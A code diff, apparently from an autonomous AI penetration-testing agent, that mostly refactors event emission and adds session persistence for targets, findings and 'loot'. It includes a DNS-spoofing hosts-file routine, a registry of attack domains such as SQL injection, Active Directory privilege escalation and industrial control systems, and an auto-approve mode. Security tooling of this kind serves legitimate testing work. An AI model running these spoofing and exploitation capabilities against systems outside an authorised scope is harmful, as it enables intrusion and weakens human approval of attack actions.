description: 'Additional context (e.g., "for SSH connection to 192.168.1.1")'
|
|
4781
4913
|
},
|
|
4782
|
-
|
|
4914
|
+
isOptional: {
|
|
4783
4915
|
type: "boolean",
|
|
4784
4916
|
description: "Whether this input is optional"
|
|
4785
4917
|
},
|
|
@@ -4795,7 +4927,7 @@ Always provide context about why you need this input.`,
|
|
|
4795
4927
|
type: p.input_type || INPUT_TYPES.TEXT,
|
|
4796
4928
|
prompt: p.question,
|
|
4797
4929
|
context: p.context,
|
|
4798
|
-
|
|
4930
|
+
isOptional: p.isOptional,
|
|
4799
4931
|
options: p.options
|
|
4800
4932
|
};
|
|
4801
4933
|
const result2 = await requestCredential(request);
|
|
@@ -5039,8 +5171,8 @@ Requires root/sudo privileges.`,
|
|
|
5039
5171
|
const iface = p.interface || "";
|
|
5040
5172
|
const duration = p.duration || NETWORK_CONFIG.DEFAULT_SPOOF_DURATION;
|
|
5041
5173
|
const hostsFile = createTempFile(".hosts");
|
|
5042
|
-
const { writeFileSync:
|
|
5043
|
-
|
|
5174
|
+
const { writeFileSync: writeFileSync6 } = await import("fs");
|
|
5175
|
+
writeFileSync6(hostsFile, `${spoofIp} ${domain}
|
|
5044
5176
|
${spoofIp} *.${domain}
|
|
5045
5177
|
`);
|
|
5046
5178
|
const ifaceFlag = iface ? `-i ${iface}` : "";
|
|
@@ -5742,81 +5874,81 @@ var ServiceParser = class {
|
|
|
5742
5874
|
};
|
|
5743
5875
|
|
|
5744
5876
|
// src/domains/registry.ts
|
|
5745
|
-
import { join as
|
|
5746
|
-
import { fileURLToPath as
|
|
5747
|
-
var
|
|
5877
|
+
import { join as join6, dirname as dirname3 } from "path";
|
|
5878
|
+
import { fileURLToPath as fileURLToPath3 } from "url";
|
|
5879
|
+
var __dirname3 = dirname3(fileURLToPath3(import.meta.url));
|
|
5748
5880
|
var DOMAINS = {
|
|
5749
5881
|
[SERVICE_CATEGORIES.NETWORK]: {
|
|
5750
5882
|
id: SERVICE_CATEGORIES.NETWORK,
|
|
5751
5883
|
name: "Network Infrastructure",
|
|
5752
5884
|
description: "Vulnerability scanning, port mapping, and network service exploitation.",
|
|
5753
|
-
promptPath:
|
|
5885
|
+
promptPath: join6(__dirname3, "network/prompt.md")
|
|
5754
5886
|
},
|
|
5755
5887
|
[SERVICE_CATEGORIES.WEB]: {
|
|
5756
5888
|
id: SERVICE_CATEGORIES.WEB,
|
|
5757
5889
|
name: "Web Application",
|
|
5758
5890
|
description: "Web app security testing, injection attacks, and auth bypass.",
|
|
5759
|
-
promptPath:
|
|
5891
|
+
promptPath: join6(__dirname3, "web/prompt.md")
|
|
5760
5892
|
},
|
|
5761
5893
|
[SERVICE_CATEGORIES.DATABASE]: {
|
|
5762
5894
|
id: SERVICE_CATEGORIES.DATABASE,
|
|
5763
5895
|
name: "Database Security",
|
|
5764
5896
|
description: "SQL injection, database enumeration, and data extraction.",
|
|
5765
|
-
promptPath:
|
|
5897
|
+
promptPath: join6(__dirname3, "database/prompt.md")
|
|
5766
5898
|
},
|
|
5767
5899
|
[SERVICE_CATEGORIES.AD]: {
|
|
5768
5900
|
id: SERVICE_CATEGORIES.AD,
|
|
5769
5901
|
name: "Active Directory",
|
|
5770
5902
|
description: "Kerberos, LDAP, and Windows domain privilege escalation.",
|
|
5771
|
-
promptPath:
|
|
5903
|
+
promptPath: join6(__dirname3, "ad/prompt.md")
|
|
5772
5904
|
},
|
|
5773
5905
|
[SERVICE_CATEGORIES.EMAIL]: {
|
|
5774
5906
|
id: SERVICE_CATEGORIES.EMAIL,
|
|
5775
5907
|
name: "Email Services",
|
|
5776
5908
|
description: "SMTP, IMAP, POP3 security and user enumeration.",
|
|
5777
|
-
promptPath:
|
|
5909
|
+
promptPath: join6(__dirname3, "email/prompt.md")
|
|
5778
5910
|
},
|
|
5779
5911
|
[SERVICE_CATEGORIES.REMOTE_ACCESS]: {
|
|
5780
5912
|
id: SERVICE_CATEGORIES.REMOTE_ACCESS,
|
|
5781
5913
|
name: "Remote Access",
|
|
5782
5914
|
description: "SSH, RDP, VNC and other remote control protocols.",
|
|
5783
|
-
promptPath:
|
|
5915
|
+
promptPath: join6(__dirname3, "remote-access/prompt.md")
|
|
5784
5916
|
},
|
|
5785
5917
|
[SERVICE_CATEGORIES.FILE_SHARING]: {
|
|
5786
5918
|
id: SERVICE_CATEGORIES.FILE_SHARING,
|
|
5787
5919
|
name: "File Sharing",
|
|
5788
5920
|
description: "SMB, NFS, FTP and shared resource security.",
|
|
5789
|
-
promptPath:
|
|
5921
|
+
promptPath: join6(__dirname3, "file-sharing/prompt.md")
|
|
5790
5922
|
},
|
|
5791
5923
|
[SERVICE_CATEGORIES.CLOUD]: {
|
|
5792
5924
|
id: SERVICE_CATEGORIES.CLOUD,
|
|
5793
5925
|
name: "Cloud Infrastructure",
|
|
5794
5926
|
description: "AWS, Azure, and GCP security and misconfiguration.",
|
|
5795
|
-
promptPath:
|
|
5927
|
+
promptPath: join6(__dirname3, "cloud/prompt.md")
|
|
5796
5928
|
},
|
|
5797
5929
|
[SERVICE_CATEGORIES.CONTAINER]: {
|
|
5798
5930
|
id: SERVICE_CATEGORIES.CONTAINER,
|
|
5799
5931
|
name: "Container Systems",
|
|
5800
5932
|
description: "Docker and Kubernetes security testing.",
|
|
5801
|
-
promptPath:
|
|
5933
|
+
promptPath: join6(__dirname3, "container/prompt.md")
|
|
5802
5934
|
},
|
|
5803
5935
|
[SERVICE_CATEGORIES.API]: {
|
|
5804
5936
|
id: SERVICE_CATEGORIES.API,
|
|
5805
5937
|
name: "API Security",
|
|
5806
5938
|
description: "REST, GraphQL, and SOAP API security testing.",
|
|
5807
|
-
promptPath:
|
|
5939
|
+
promptPath: join6(__dirname3, "api/prompt.md")
|
|
5808
5940
|
},
|
|
5809
5941
|
[SERVICE_CATEGORIES.WIRELESS]: {
|
|
5810
5942
|
id: SERVICE_CATEGORIES.WIRELESS,
|
|
5811
5943
|
name: "Wireless Networks",
|
|
5812
5944
|
description: "WiFi and Bluetooth security testing.",
|
|
5813
|
-
promptPath:
|
|
5945
|
+
promptPath: join6(__dirname3, "wireless/prompt.md")
|
|
5814
5946
|
},
|
|
5815
5947
|
[SERVICE_CATEGORIES.ICS]: {
|
|
5816
5948
|
id: SERVICE_CATEGORIES.ICS,
|
|
5817
5949
|
name: "Industrial Systems",
|
|
5818
5950
|
description: "Critical infrastructure - Modbus, DNP3, ENIP.",
|
|
5819
|
-
promptPath:
|
|
5951
|
+
promptPath: join6(__dirname3, "ics/prompt.md")
|
|
5820
5952
|
}
|
|
5821
5953
|
};
|
|
5822
5954
|
|
|
@@ -6596,10 +6728,77 @@ function logLLM(message, data) {
|
|
|
6596
6728
|
}
|
|
6597
6729
|
|
|
6598
6730
|
// src/engine/orchestrator/orchestrator.ts
|
|
6599
|
-
import { fileURLToPath as
|
|
6600
|
-
import { dirname as
|
|
6601
|
-
var
|
|
6602
|
-
var
|
|
6731
|
+
import { fileURLToPath as fileURLToPath4 } from "url";
|
|
6732
|
+
import { dirname as dirname4, join as join7 } from "path";
|
|
6733
|
+
var __filename3 = fileURLToPath4(import.meta.url);
|
|
6734
|
+
var __dirname4 = dirname4(__filename3);
|
|
6735
|
+
|
|
6736
|
+
// src/engine/state-persistence.ts
|
|
6737
|
+
import { writeFileSync as writeFileSync5, readFileSync as readFileSync3, existsSync as existsSync5, readdirSync, statSync } from "fs";
|
|
6738
|
+
import { join as join8, basename } from "path";
|
|
6739
|
+
function saveState(state) {
|
|
6740
|
+
const sessionsDir = WORKSPACE.SESSIONS;
|
|
6741
|
+
ensureDirExists(sessionsDir);
|
|
6742
|
+
const snapshot = {
|
|
6743
|
+
version: 1,
|
|
6744
|
+
savedAt: Date.now(),
|
|
6745
|
+
engagement: state.getEngagement(),
|
|
6746
|
+
targets: Array.from(state.getTargets().entries()).map(([key, value]) => ({ key, value })),
|
|
6747
|
+
findings: state.getFindings(),
|
|
6748
|
+
loot: state.getLoot(),
|
|
6749
|
+
todo: state.getTodo(),
|
|
6750
|
+
actionLog: state.getRecentActions(9999),
|
|
6751
|
+
currentPhase: state.getPhase(),
|
|
6752
|
+
missionSummary: state.getMissionSummary(),
|
|
6753
|
+
missionChecklist: state.getMissionChecklist()
|
|
6754
|
+
};
|
|
6755
|
+
const sessionId = (/* @__PURE__ */ new Date()).toISOString().replace(/[:.]/g, "-");
|
|
6756
|
+
const sessionFile = join8(sessionsDir, `${sessionId}.json`);
|
|
6757
|
+
writeFileSync5(sessionFile, JSON.stringify(snapshot, null, 2), "utf-8");
|
|
6758
|
+
const latestFile = join8(sessionsDir, "latest.json");
|
|
6759
|
+
writeFileSync5(latestFile, JSON.stringify(snapshot, null, 2), "utf-8");
|
|
6760
|
+
return sessionFile;
|
|
6761
|
+
}
|
|
6762
|
+
function loadState(state) {
|
|
6763
|
+
const latestFile = join8(WORKSPACE.SESSIONS, "latest.json");
|
|
6764
|
+
if (!existsSync5(latestFile)) {
|
|
6765
|
+
return false;
|
|
6766
|
+
}
|
|
6767
|
+
try {
|
|
6768
|
+
const raw = readFileSync3(latestFile, "utf-8");
|
|
6769
|
+
const snapshot = JSON.parse(raw);
|
|
6770
|
+
if (snapshot.version !== 1) {
|
|
6771
|
+
console.warn(`[StatePersistence] Unknown snapshot version: ${snapshot.version}`);
|
|
6772
|
+
return false;
|
|
6773
|
+
}
|
|
6774
|
+
if (snapshot.engagement) {
|
|
6775
|
+
state.setEngagement(snapshot.engagement);
|
|
6776
|
+
}
|
|
6777
|
+
for (const { value } of snapshot.targets) {
|
|
6778
|
+
state.addTarget(value);
|
|
6779
|
+
}
|
|
6780
|
+
for (const finding of snapshot.findings) {
|
|
6781
|
+
state.addFinding(finding);
|
|
6782
|
+
}
|
|
6783
|
+
for (const loot of snapshot.loot) {
|
|
6784
|
+
state.addLoot(loot);
|
|
6785
|
+
}
|
|
6786
|
+
for (const item of snapshot.todo) {
|
|
6787
|
+
state.addTodo(item.content, item.priority);
|
|
6788
|
+
}
|
|
6789
|
+
state.setPhase(snapshot.currentPhase);
|
|
6790
|
+
if (snapshot.missionSummary) {
|
|
6791
|
+
state.setMissionSummary(snapshot.missionSummary);
|
|
6792
|
+
}
|
|
6793
|
+
if (snapshot.missionChecklist?.length > 0) {
|
|
6794
|
+
state.addMissionChecklistItems(snapshot.missionChecklist.map((c) => c.text));
|
|
6795
|
+
}
|
|
6796
|
+
return true;
|
|
6797
|
+
} catch (err) {
|
|
6798
|
+
console.warn(`[StatePersistence] Failed to load state: ${err}`);
|
|
6799
|
+
return false;
|
|
6800
|
+
}
|
|
6801
|
+
}
|
|
6603
6802
|
|
|
6604
6803
|
// src/agents/core-agent.ts
|
|
6605
6804
|
var CoreAgent = class _CoreAgent {
|
|
@@ -6882,6 +7081,34 @@ Please decide how to handle this error and continue.`;
|
|
|
6882
7081
|
}
|
|
6883
7082
|
});
|
|
6884
7083
|
}
|
|
7084
|
+
/** Emit tool call event for TUI tracking */
|
|
7085
|
+
emitToolCall(toolName, input) {
|
|
7086
|
+
this.events.emit({
|
|
7087
|
+
type: EVENT_TYPES.TOOL_CALL,
|
|
7088
|
+
timestamp: Date.now(),
|
|
7089
|
+
data: {
|
|
7090
|
+
toolName,
|
|
7091
|
+
input,
|
|
7092
|
+
approvalLevel: APPROVAL_LEVELS.AUTO,
|
|
7093
|
+
needsApproval: false
|
|
7094
|
+
}
|
|
7095
|
+
});
|
|
7096
|
+
}
|
|
7097
|
+
/** Emit tool result event for TUI tracking */
|
|
7098
|
+
emitToolResult(toolName, success, output, error, duration) {
|
|
7099
|
+
this.events.emit({
|
|
7100
|
+
type: EVENT_TYPES.TOOL_RESULT,
|
|
7101
|
+
timestamp: Date.now(),
|
|
7102
|
+
data: {
|
|
7103
|
+
toolName,
|
|
7104
|
+
success,
|
|
7105
|
+
output,
|
|
7106
|
+
outputSummary: output.slice(0, 200),
|
|
7107
|
+
error,
|
|
7108
|
+
duration
|
|
7109
|
+
}
|
|
7110
|
+
});
|
|
7111
|
+
}
|
|
6885
7112
|
// ─────────────────────────────────────────────────────────────────
|
|
6886
7113
|
// SUBSECTION: Tool Processing
|
|
6887
7114
|
// ─────────────────────────────────────────────────────────────────
|
|
@@ -6941,16 +7168,7 @@ Please decide how to handle this error and continue.`;
|
|
|
6941
7168
|
/** Execute tool calls in parallel via Promise.allSettled */
|
|
6942
7169
|
async executeToolCallsInParallel(toolCalls, progress) {
|
|
6943
7170
|
for (const call of toolCalls) {
|
|
6944
|
-
this.
|
|
6945
|
-
type: EVENT_TYPES.TOOL_CALL,
|
|
6946
|
-
timestamp: Date.now(),
|
|
6947
|
-
data: {
|
|
6948
|
-
toolName: call.name,
|
|
6949
|
-
input: call.input,
|
|
6950
|
-
approvalLevel: APPROVAL_LEVELS.AUTO,
|
|
6951
|
-
needsApproval: false
|
|
6952
|
-
}
|
|
6953
|
-
});
|
|
7171
|
+
this.emitToolCall(call.name, call.input);
|
|
6954
7172
|
}
|
|
6955
7173
|
const promises = toolCalls.map((call) => this.executeSingleTool(call, progress));
|
|
6956
7174
|
const settled = await Promise.allSettled(promises);
|
|
@@ -6963,17 +7181,8 @@ Please decide how to handle this error and continue.`;
|
|
|
6963
7181
|
/** Execute tool calls sequentially */
|
|
6964
7182
|
async executeToolCallsSequentially(toolCalls, progress) {
|
|
6965
7183
|
const results = [];
|
|
6966
|
-
for (const call of toolCalls) {
|
|
6967
|
-
this.
|
|
6968
|
-
type: EVENT_TYPES.TOOL_CALL,
|
|
6969
|
-
timestamp: Date.now(),
|
|
6970
|
-
data: {
|
|
6971
|
-
toolName: call.name,
|
|
6972
|
-
input: call.input,
|
|
6973
|
-
approvalLevel: APPROVAL_LEVELS.AUTO,
|
|
6974
|
-
needsApproval: false
|
|
6975
|
-
}
|
|
6976
|
-
});
|
|
7184
|
+
for (const call of toolCalls) {
|
|
7185
|
+
this.emitToolCall(call.name, call.input);
|
|
6977
7186
|
const result2 = await this.executeSingleTool(call, progress);
|
|
6978
7187
|
results.push(result2);
|
|
6979
7188
|
}
|
|
@@ -7013,35 +7222,13 @@ Please decide how to handle this error and continue.`;
|
|
|
7013
7222
|
progress.blockedCommandPatterns.clear();
|
|
7014
7223
|
}
|
|
7015
7224
|
}
|
|
7016
|
-
this.
|
|
7017
|
-
type: EVENT_TYPES.TOOL_RESULT,
|
|
7018
|
-
timestamp: Date.now(),
|
|
7019
|
-
data: {
|
|
7020
|
-
toolName: call.name,
|
|
7021
|
-
success: result2.success,
|
|
7022
|
-
output: outputText,
|
|
7023
|
-
outputSummary: outputText.slice(0, 200),
|
|
7024
|
-
error: result2.error,
|
|
7025
|
-
duration: Date.now() - toolStartTime
|
|
7026
|
-
}
|
|
7027
|
-
});
|
|
7225
|
+
this.emitToolResult(call.name, result2.success, outputText, result2.error, Date.now() - toolStartTime);
|
|
7028
7226
|
return { toolCallId: call.id, output: outputText, error: result2.error };
|
|
7029
7227
|
} catch (error) {
|
|
7030
7228
|
const errorMsg = String(error);
|
|
7031
7229
|
const enrichedError = this.enrichToolErrorContext({ toolName: call.name, input: call.input, error: errorMsg, originalOutput: "", progress });
|
|
7032
7230
|
if (progress) progress.toolErrors++;
|
|
7033
|
-
this.
|
|
7034
|
-
type: EVENT_TYPES.TOOL_RESULT,
|
|
7035
|
-
timestamp: Date.now(),
|
|
7036
|
-
data: {
|
|
7037
|
-
toolName: call.name,
|
|
7038
|
-
success: false,
|
|
7039
|
-
output: enrichedError,
|
|
7040
|
-
outputSummary: enrichedError.slice(0, 200),
|
|
7041
|
-
error: errorMsg,
|
|
7042
|
-
duration: Date.now() - toolStartTime
|
|
7043
|
-
}
|
|
7044
|
-
});
|
|
7231
|
+
this.emitToolResult(call.name, false, enrichedError, errorMsg, Date.now() - toolStartTime);
|
|
7045
7232
|
return { toolCallId: call.id, output: enrichedError, error: errorMsg };
|
|
7046
7233
|
}
|
|
7047
7234
|
}
|
|
@@ -7140,9 +7327,9 @@ Please decide how to handle this error and continue.`;
|
|
|
7140
7327
|
};
|
|
7141
7328
|
|
|
7142
7329
|
// src/agents/prompt-builder.ts
|
|
7143
|
-
import { readFileSync as
|
|
7144
|
-
import { join as
|
|
7145
|
-
import { fileURLToPath as
|
|
7330
|
+
import { readFileSync as readFileSync4, existsSync as existsSync6 } from "fs";
|
|
7331
|
+
import { join as join9, dirname as dirname5 } from "path";
|
|
7332
|
+
import { fileURLToPath as fileURLToPath5 } from "url";
|
|
7146
7333
|
|
|
7147
7334
|
// src/shared/constants/prompts.ts
|
|
7148
7335
|
var PROMPT_PATHS = {
|
|
@@ -7195,9 +7382,9 @@ var INITIAL_TASKS = {
|
|
|
7195
7382
|
};
|
|
7196
7383
|
|
|
7197
7384
|
// src/agents/prompt-builder.ts
|
|
7198
|
-
var
|
|
7199
|
-
var PROMPTS_DIR =
|
|
7200
|
-
var TECHNIQUES_DIR =
|
|
7385
|
+
var __dirname5 = dirname5(fileURLToPath5(import.meta.url));
|
|
7386
|
+
var PROMPTS_DIR = join9(__dirname5, "prompts");
|
|
7387
|
+
var TECHNIQUES_DIR = join9(PROMPTS_DIR, PROMPT_PATHS.TECHNIQUES_DIR);
|
|
7201
7388
|
var { AGENT_FILES } = PROMPT_PATHS;
|
|
7202
7389
|
var PHASE_PROMPT_MAP = {
|
|
7203
7390
|
// Direct mappings — phase has its own prompt file
|
|
@@ -7273,8 +7460,8 @@ var PromptBuilder = class {
|
|
|
7273
7460
|
* Load a prompt file from src/agents/prompts/
|
|
7274
7461
|
*/
|
|
7275
7462
|
loadPromptFile(filename) {
|
|
7276
|
-
const
|
|
7277
|
-
return
|
|
7463
|
+
const path3 = join9(PROMPTS_DIR, filename);
|
|
7464
|
+
return existsSync6(path3) ? readFileSync4(path3, PROMPT_CONFIG.ENCODING) : "";
|
|
7278
7465
|
}
|
|
7279
7466
|
/**
|
|
7280
7467
|
* Load phase-specific prompt.
|
|
@@ -7317,15 +7504,15 @@ ${content}
|
|
|
7317
7504
|
* use web_search to look up specific attack techniques on demand.
|
|
7318
7505
|
*/
|
|
7319
7506
|
loadPhaseRelevantTechniques(phase) {
|
|
7320
|
-
if (!
|
|
7507
|
+
if (!existsSync6(TECHNIQUES_DIR)) return "";
|
|
7321
7508
|
const relevantTechniques = PHASE_TECHNIQUE_MAP[phase] || [];
|
|
7322
7509
|
if (relevantTechniques.length === 0) return "";
|
|
7323
7510
|
const fragments = [];
|
|
7324
7511
|
for (const technique of relevantTechniques) {
|
|
7325
|
-
const filePath =
|
|
7512
|
+
const filePath = join9(TECHNIQUES_DIR, `${technique}.md`);
|
|
7326
7513
|
try {
|
|
7327
|
-
if (!
|
|
7328
|
-
const content =
|
|
7514
|
+
if (!existsSync6(filePath)) continue;
|
|
7515
|
+
const content = readFileSync4(filePath, PROMPT_CONFIG.ENCODING);
|
|
7329
7516
|
if (content) {
|
|
7330
7517
|
fragments.push(`<technique-reference category="${technique}">
|
|
7331
7518
|
${content}
|
|
@@ -7381,6 +7568,10 @@ var MainAgent = class extends CoreAgent {
|
|
|
7381
7568
|
const result2 = await this.run(userInput, this.getCurrentPrompt());
|
|
7382
7569
|
return result2.output;
|
|
7383
7570
|
} finally {
|
|
7571
|
+
try {
|
|
7572
|
+
saveState(this.state);
|
|
7573
|
+
} catch {
|
|
7574
|
+
}
|
|
7384
7575
|
await cleanupAllProcesses();
|
|
7385
7576
|
}
|
|
7386
7577
|
}
|
|
@@ -7399,10 +7590,28 @@ var MainAgent = class extends CoreAgent {
|
|
|
7399
7590
|
}
|
|
7400
7591
|
// ─── Internal Helpers ────────────────────────────────────────
|
|
7401
7592
|
initializeTask() {
|
|
7593
|
+
try {
|
|
7594
|
+
ensureDirExists(WORKSPACE.ROOT);
|
|
7595
|
+
} catch {
|
|
7596
|
+
}
|
|
7402
7597
|
if (this.state.getTodo().length === 0) {
|
|
7403
7598
|
this.state.addTodo(INITIAL_TASKS.RECON, PRIORITIES.HIGH);
|
|
7404
7599
|
}
|
|
7405
7600
|
}
|
|
7601
|
+
/**
|
|
7602
|
+
* Load previous session state from .pentesting/sessions/latest.json
|
|
7603
|
+
* @returns true if a previous session was restored
|
|
7604
|
+
*/
|
|
7605
|
+
loadPreviousSession() {
|
|
7606
|
+
return loadState(this.state);
|
|
7607
|
+
}
|
|
7608
|
+
/**
|
|
7609
|
+
* Manually save current state to .pentesting/sessions/
|
|
7610
|
+
* @returns Path to the saved session file
|
|
7611
|
+
*/
|
|
7612
|
+
saveCurrentState() {
|
|
7613
|
+
return saveState(this.state);
|
|
7614
|
+
}
|
|
7406
7615
|
getCurrentPrompt() {
|
|
7407
7616
|
const phase = this.state.getPhase() || PHASES.RECON;
|
|
7408
7617
|
return this.promptBuilder.build(this.userInput, phase);
|
|
@@ -7469,10 +7678,10 @@ var AgentFactory = class {
|
|
|
7469
7678
|
* Architecture: Single agent with all tools.
|
|
7470
7679
|
* No sub-agents, no spawn_sub, no nested loops.
|
|
7471
7680
|
*/
|
|
7472
|
-
static createMainAgent(
|
|
7681
|
+
static createMainAgent(shouldAutoApprove = false) {
|
|
7473
7682
|
const state = new SharedState();
|
|
7474
7683
|
const events = new AgentEventEmitter();
|
|
7475
|
-
const approvalGate = new ApprovalGate(
|
|
7684
|
+
const approvalGate = new ApprovalGate(shouldAutoApprove);
|
|
7476
7685
|
const scopeGuard = new ScopeGuard(state);
|
|
7477
7686
|
const toolRegistry = new CategorizedToolRegistry(
|
|
7478
7687
|
state,
|
|
@@ -7484,6 +7693,54 @@ var AgentFactory = class {
|
|
|
7484
7693
|
}
|
|
7485
7694
|
};
|
|
7486
7695
|
|
|
7696
|
+
// src/platform/tui/utils/format.ts
|
|
7697
|
+
var formatDuration = (ms) => {
|
|
7698
|
+
const totalSec = ms / 1e3;
|
|
7699
|
+
if (totalSec < 60) return `${totalSec.toFixed(1)}s`;
|
|
7700
|
+
const minutes = Math.floor(totalSec / 60);
|
|
7701
|
+
const seconds = Math.floor(totalSec % 60);
|
|
7702
|
+
return `${minutes}m ${seconds}s`;
|
|
7703
|
+
};
|
|
7704
|
+
var formatTokens = (count) => {
|
|
7705
|
+
if (count >= 1e6) return (count / 1e6).toFixed(1) + "M";
|
|
7706
|
+
if (count >= 1e3) return (count / 1e3).toFixed(1) + "K";
|
|
7707
|
+
return String(count);
|
|
7708
|
+
};
|
|
7709
|
+
var formatMeta = (ms, tokens) => {
|
|
7710
|
+
const parts = [];
|
|
7711
|
+
if (ms > 0) parts.push(formatDuration(ms));
|
|
7712
|
+
if (tokens > 0) parts.push(`\u2191 ${formatTokens(tokens)} tokens`);
|
|
7713
|
+
return parts.length > 0 ? `(${parts.join(" \xB7 ")})` : "";
|
|
7714
|
+
};
|
|
7715
|
+
var formatInlineStatus = () => {
|
|
7716
|
+
const zombieHunter2 = new ZombieHunter();
|
|
7717
|
+
const healthMonitor2 = new HealthMonitor();
|
|
7718
|
+
const processes = listBackgroundProcesses();
|
|
7719
|
+
const zombies = zombieHunter2.scan();
|
|
7720
|
+
const health = healthMonitor2.check();
|
|
7721
|
+
const statusData = {
|
|
7722
|
+
processes: processes.map((p) => ({
|
|
7723
|
+
id: p.id,
|
|
7724
|
+
role: p.role,
|
|
7725
|
+
description: p.description,
|
|
7726
|
+
purpose: p.purpose,
|
|
7727
|
+
running: p.isRunning,
|
|
7728
|
+
durationMs: p.durationMs,
|
|
7729
|
+
listeningPort: p.listeningPort,
|
|
7730
|
+
exitCode: p.exitCode
|
|
7731
|
+
})),
|
|
7732
|
+
zombies: zombies.map((z) => ({
|
|
7733
|
+
processId: z.processId,
|
|
7734
|
+
orphanedChildren: z.orphanedChildren
|
|
7735
|
+
})),
|
|
7736
|
+
health: health.overall
|
|
7737
|
+
};
|
|
7738
|
+
return JSON.stringify(statusData);
|
|
7739
|
+
};
|
|
7740
|
+
|
|
7741
|
+
// src/platform/tui/hooks/useAgentState.ts
|
|
7742
|
+
import { useState, useRef, useCallback } from "react";
|
|
7743
|
+
|
|
7487
7744
|
// src/shared/constants/thought.ts
|
|
7488
7745
|
var THOUGHT_TYPE = {
|
|
7489
7746
|
THINKING: "thinking",
|
|
@@ -7742,53 +7999,8 @@ var HELP_TEXT = `
|
|
|
7742
7999
|
/auto (toggle approval mode)
|
|
7743
8000
|
`;
|
|
7744
8001
|
|
|
7745
|
-
// src/platform/tui/
|
|
7746
|
-
var
|
|
7747
|
-
const totalSec = ms / 1e3;
|
|
7748
|
-
if (totalSec < 60) return `${totalSec.toFixed(1)}s`;
|
|
7749
|
-
const minutes = Math.floor(totalSec / 60);
|
|
7750
|
-
const seconds = Math.floor(totalSec % 60);
|
|
7751
|
-
return `${minutes}m ${seconds}s`;
|
|
7752
|
-
};
|
|
7753
|
-
var formatTokens = (count) => {
|
|
7754
|
-
if (count >= 1e6) return (count / 1e6).toFixed(1) + "M";
|
|
7755
|
-
if (count >= 1e3) return (count / 1e3).toFixed(1) + "K";
|
|
7756
|
-
return String(count);
|
|
7757
|
-
};
|
|
7758
|
-
var formatMeta = (ms, tokens) => {
|
|
7759
|
-
const parts = [];
|
|
7760
|
-
if (ms > 0) parts.push(formatDuration(ms));
|
|
7761
|
-
if (tokens > 0) parts.push(`\u2191 ${formatTokens(tokens)} tokens`);
|
|
7762
|
-
return parts.length > 0 ? `(${parts.join(" \xB7 ")})` : "";
|
|
7763
|
-
};
|
|
7764
|
-
var formatInlineStatus = () => {
|
|
7765
|
-
const zombieHunter2 = new ZombieHunter();
|
|
7766
|
-
const healthMonitor2 = new HealthMonitor();
|
|
7767
|
-
const processes = listBackgroundProcesses();
|
|
7768
|
-
const zombies = zombieHunter2.scan();
|
|
7769
|
-
const health = healthMonitor2.check();
|
|
7770
|
-
const statusData = {
|
|
7771
|
-
processes: processes.map((p) => ({
|
|
7772
|
-
id: p.id,
|
|
7773
|
-
role: p.role,
|
|
7774
|
-
description: p.description,
|
|
7775
|
-
purpose: p.purpose,
|
|
7776
|
-
running: p.isRunning,
|
|
7777
|
-
durationMs: p.durationMs,
|
|
7778
|
-
listeningPort: p.listeningPort,
|
|
7779
|
-
exitCode: p.exitCode
|
|
7780
|
-
})),
|
|
7781
|
-
zombies: zombies.map((z) => ({
|
|
7782
|
-
processId: z.processId,
|
|
7783
|
-
orphanedChildren: z.orphanedChildren
|
|
7784
|
-
})),
|
|
7785
|
-
health: health.overall
|
|
7786
|
-
};
|
|
7787
|
-
return JSON.stringify(statusData);
|
|
7788
|
-
};
|
|
7789
|
-
|
|
7790
|
-
// src/platform/tui/hooks/useAgent.ts
|
|
7791
|
-
var useAgent = (autoApprove, target) => {
|
|
8002
|
+
// src/platform/tui/hooks/useAgentState.ts
|
|
8003
|
+
var useAgentState = () => {
|
|
7792
8004
|
const [messages, setMessages] = useState([]);
|
|
7793
8005
|
const [isProcessing, setIsProcessing] = useState(false);
|
|
7794
8006
|
const [currentStatus, setCurrentStatus] = useState("");
|
|
@@ -7816,14 +8028,6 @@ var useAgent = (autoApprove, target) => {
|
|
|
7816
8028
|
const retryCountRef = useRef(0);
|
|
7817
8029
|
const tokenAccumRef = useRef(0);
|
|
7818
8030
|
const lastStepTokensRef = useRef(0);
|
|
7819
|
-
const [agent] = useState(() => AgentFactory.createMainAgent(autoApprove));
|
|
7820
|
-
useEffect(() => {
|
|
7821
|
-
if (target) {
|
|
7822
|
-
agent.addTarget(target);
|
|
7823
|
-
agent.setScope([target]);
|
|
7824
|
-
}
|
|
7825
|
-
}, [agent, target]);
|
|
7826
|
-
const eventsRef = useRef(agent.getEventEmitter());
|
|
7827
8031
|
const addMessage = useCallback((type, content) => {
|
|
7828
8032
|
const id = Math.random().toString(36).substring(7);
|
|
7829
8033
|
setMessages((prev) => [...prev, { id, type, content, timestamp: /* @__PURE__ */ new Date() }]);
|
|
@@ -7847,56 +8051,63 @@ var useAgent = (autoApprove, target) => {
|
|
|
7847
8051
|
setElapsedTime(0);
|
|
7848
8052
|
}
|
|
7849
8053
|
}, []);
|
|
7850
|
-
const
|
|
7851
|
-
|
|
7852
|
-
|
|
7853
|
-
|
|
7854
|
-
|
|
7855
|
-
|
|
7856
|
-
|
|
7857
|
-
|
|
7858
|
-
|
|
7859
|
-
|
|
7860
|
-
|
|
7861
|
-
|
|
7862
|
-
|
|
7863
|
-
|
|
7864
|
-
|
|
7865
|
-
|
|
7866
|
-
|
|
7867
|
-
|
|
7868
|
-
|
|
7869
|
-
|
|
7870
|
-
|
|
7871
|
-
|
|
7872
|
-
|
|
7873
|
-
|
|
7874
|
-
|
|
7875
|
-
|
|
7876
|
-
|
|
7877
|
-
|
|
7878
|
-
|
|
7879
|
-
|
|
7880
|
-
|
|
7881
|
-
|
|
8054
|
+
const clearAllTimers = useCallback(() => {
|
|
8055
|
+
if (timerRef.current) clearInterval(timerRef.current);
|
|
8056
|
+
if (retryCountdownRef.current) clearInterval(retryCountdownRef.current);
|
|
8057
|
+
}, []);
|
|
8058
|
+
return {
|
|
8059
|
+
// State
|
|
8060
|
+
messages,
|
|
8061
|
+
setMessages,
|
|
8062
|
+
isProcessing,
|
|
8063
|
+
setIsProcessing,
|
|
8064
|
+
currentStatus,
|
|
8065
|
+
setCurrentStatus,
|
|
8066
|
+
elapsedTime,
|
|
8067
|
+
retryState,
|
|
8068
|
+
setRetryState,
|
|
8069
|
+
currentTokens,
|
|
8070
|
+
setCurrentTokens,
|
|
8071
|
+
inputRequest,
|
|
8072
|
+
setInputRequest,
|
|
8073
|
+
stats,
|
|
8074
|
+
setStats,
|
|
8075
|
+
// Refs
|
|
8076
|
+
lastResponseMetaRef,
|
|
8077
|
+
timerRef,
|
|
8078
|
+
retryCountdownRef,
|
|
8079
|
+
retryCountRef,
|
|
8080
|
+
tokenAccumRef,
|
|
8081
|
